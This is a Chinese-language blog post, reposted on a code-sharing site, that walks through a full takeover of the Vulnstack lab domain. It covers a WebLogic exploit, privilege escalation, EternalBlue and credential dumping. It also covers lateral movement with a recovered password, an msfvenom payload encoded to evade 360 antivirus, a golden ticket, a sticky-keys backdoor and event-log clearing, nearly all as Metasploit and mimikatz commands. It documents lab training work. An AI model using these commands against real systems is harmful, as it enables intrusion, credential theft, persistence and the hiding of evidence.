記一次內網靶場實戰Vulnstack-todo自己實際動手試試


記一次內網靶場實戰Vulnstack-todo自己實際動手試試
lodro640  2021-10-28 15:55:24 48485

第一次寫靶場實戰的文章,有不足之處還請多多指教。本次實戰的靶場是紅日安全vulnstack系列的第二個靶場。

靶場地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

環境搭建

網絡環境image

網卡配置

只需要在VM上選擇對應網卡即可,不需要在靶機中進行配置。

DC

IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)

WEB

IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)

PC

IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)

開啟靶場

進入C:\Oracle\Middleware\user_projects\domains\base_domain目錄下,雙擊startWebLogic開啟服務。image

外網滲透

我們已知當前Web服務器的公網IP為192.168.111.80,對Web服務器進行端口掃描,以期發現是否有可以利用的端口服務,從而突破邊界。

端口掃描

nmap -sV -Pn -T4 192.168.111.80

image

漏洞探測

通過端口掃描我們發現Web服務器開啟了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接進入Web服務器。這里我們先訪問Web服務,發現80端口頁面是空白的,在7001端口我們發現Web服務器開啟了Weblogic,嘗試使用WeblogicScan腳本探測漏洞:

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

image

漏洞利用

通過腳本探測發現存在CVE-2019-2725,我們可以使用網上的exp,這里我們使用msf自帶的漏洞利用模塊:

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

image

這里還需要在advanced選項中對payload進行簡單的編碼:

setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

image

成功返回meterpreter。

這里我們做編碼的目的是為了繞過360,網上也有一些其它免殺的方式,大家可以自行學習,這里使用的msf的自免殺,使用x64/zutto_dekiru編碼繞過。

權限提升

在我們成功返回shell后,發現我們當前是普通用戶權限,如果要完全控制這台機器,需要進一步提權。

切換目錄到C:\Users\de1ay下,使用meterpreter上傳Sherlock腳本:

cd C:/Users/de1ay
upload Sherlock.ps1

image

進入shell模式,使用Sherlock腳本探測可用於本地提權的漏洞:

powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

image

這里我們通過Sherlock腳本發現存在MS15-051相關漏洞,使用msf自帶的利用模塊提權:

use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

image

提權成功:

image

至此,我們已經成功拿下了邊界服務器的控制權,可以進一步深入內網了。

內網滲透

在進入內網后,我們要明確自己的目標,由於該靶場沒有flag需要獲取,所以我們的目標就是拿下整個域的控制權,明確了目標后,我們就可以針對目標進行信息收集了。

信息收集

systeminfo

image

ipconfig /all

image

通過查詢主機信息和網絡信息,我們發現該服務器主機名為WEB,處於域環境,並且有兩張網卡,其內網網段為10.10.10.0/24,主DNS服務器IP為10.10.10.10,在域環境中,域控制器往往同時作為DNS服務器,由此判斷,我們要找的域控制器IP很可能就是10.10.10.10。

net user
net user /domain
net time /domain

image

通過查詢用戶信息,我們獲取了域成員信息,並可基本做出判斷域控制器的主機名為DC。

ping DC

image

通過對DC使用ping命令,我們發現其IP為10.10.10.10,由此我們最終做出判斷該域環境中的域控制器主機名為DC,內網ip地址為:10.10.10.10,並且我們目前控制的這台Web服務器可以訪問域控制器。

net group "Domain Admins" /domain

image

net group "domain computers" /domain

image

ping PC

image

這里我們通過ping PC發現PC機的ip為10.10.10.201,但是沒有返回數據,說明此處防火牆禁止了ICMP協議,在后面對PC機進行內網滲透時可以考慮其它協議。

至此,我們已經初步完成了內網信息收集:

該靶場為域環境:de1ay.com
該靶場存在三台主機:DC、PC、WEB
該靶場存在兩個網段:10.10.10.0/24,192.168.111.0/24
該靶場的域管理員為:Administrator

設置代理

在對內網進行了初步的信息收集后,我們要開始攻擊內網主機了,但是內網中的機器和我們的攻擊機並不處於同一網絡當中,所以要通過Web服務器建立代理,這里有很多內網穿透工具可以使用,如ew、frp、chisel等,我這里直接使用msf建立路由,並開啟socks代理。

建立路由:
route add 10.10.10.0 255.255.255.0 1

image

開啟socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

image

配置代理工具proxychains4:
vim /etc/proxychains4.conf

image

這樣,我們就可以使用msf以及設置了代理的其它工具攻擊內網中的主機了。

在信息收集時,我們使用了ping命令簡單探測了一下內網連通性,發現PC機無法ping通,這可能是防火牆阻止了ICMP協議,這里我們通過代理使用nc命令探測,發現可以連通,說明防火牆並沒有阻止TCP協議的流量。

proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

image

發現防火牆並沒有攔截TCP流量后,我們就可以使用TCP協議進行數據傳輸了。

橫向移動

先掃一下端口。

image

發現兩台機器都開起了445端口,探測以下是否存在永恆之藍漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

image

發現兩台主機都存在該漏洞,嘗試使用msf內置的漏洞利用模塊:

use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run

域控制器執行成功,域內成員機PC執行失敗:

image

至此,我們已成功獲得域控制器權限。

域內成員機PC我們沒有通過永恆之藍漏洞拿下來,這里采用其它方法,首先我們在之前的Web服務器上加載kiwi,提取服務器上儲存的密碼:

sessions 2
load kiwi
creds_all

image

我們成功提取到了兩個賬號的明文密碼,但是這里沒有域管理員的賬號密碼。

這里我們使用smart_hashdump模塊提取域控中的哈希:

use post/windows/gather/smart_hashdump
set session 3
run

image

成功提取到了域內成員的hash值,並且我們發現域管理員的hash和其它域成員的hash相同,這說明域管理員使用了和域成員相同的密碼(該靶場存在密碼復用,如果密碼不相同,我們可以通過哈希傳遞進行橫向移動),這樣我們可以就獲得了域管理員的賬號密碼。

我們先使用msf生成一個木馬:

msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs

然后,將該木馬上傳到已經被我們控制的web服務器上:

upload /tmp/msf.vbs

image

進入shell,與PC主機建立IPC$連接:

net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

image

將上傳的木馬復制到PC機C盤目錄下:

copy msf.vbs \\10.10.10.201\c$

image

通過端口掃描我們發現PC開啟了3389端口:

image

在msf上開啟監聽:

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

image

連接PC機的遠程桌面,使用域管理員賬號登錄PC,上線msf:

proxychains4 rdesktop 10.10.10.201:3389

image

到此,我們已經控制了域內全部主機。

image

權限維持

在獲取了域內全部主機權限后,我們進一步來做權限維持,權限維持的方法很多,這里我們演示兩種方式,使用黃金票據來實現域控制器的權限維持,使用粘滯鍵后門實現PC機的權限維持。

域控制器權限維持

在之前的信息收集過程中,我們已經成功獲取到了krbtgt的hash值:

image

因為PC機的session沒有進行提權,並且是域成員賬號,可以幫助我們獲取域的SID,所以我們切換到PC機的session,獲取域SID:

whoami /user

image

上傳mimikatz到PC機,進入PC的shell模式,發現當前用戶為普通域成員,無法訪問域控制器目錄。

image

使用mimikatz生成黃金票據並注入內存:

mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

image

成功注入內存,我們嘗試訪問域控制器C盤:

dir \\DC\C$

image

發現在將票據注入內存后,可以成功訪問域控制器目錄,說明黃金票據有效。還有其它域控制器權限維持的方式,這里不進行具體演示了。

粘滯鍵后門

在PC機上使用粘滯鍵后門前,需要先進行提權。這里同樣上傳Sherlock腳本進行探測利用:

image

提權成功。

使用msf中的后滲透模塊添加粘滯鍵后門:

use post/windows/manage/sticky_keys
set session 8
run

image

痕跡清除

刪除之前上傳的mimikatz和Sherlock腳本。

run event_manager -c

image

結語

關於免殺,我使用的全部是msf的編碼自免殺,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都沒有攔截。雖然靶機中有360,但是我直接上傳的mimikatz也沒有被殺,所以我有些懷疑是360的版本比較低,除了web服務器上傳的第一個payload,其它都進行了編碼處理,而第一個也確實沒有執行成功,這說明360至少對第一個payload是攔截了的。

本次靶場練習到這里就全部結束了,在權限維持和免殺等方面仍然有很多需要學習的地方,這個靶場總體上比較簡單,在橫向移動和權限維持等方面還有很多方法可以嘗試,由於本人深度沉迷msf,所以這篇文章中的整個滲透過程都是基於msf進行的,大家也可以多多嘗試其它工具和方法,比如CS、Empire等等。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM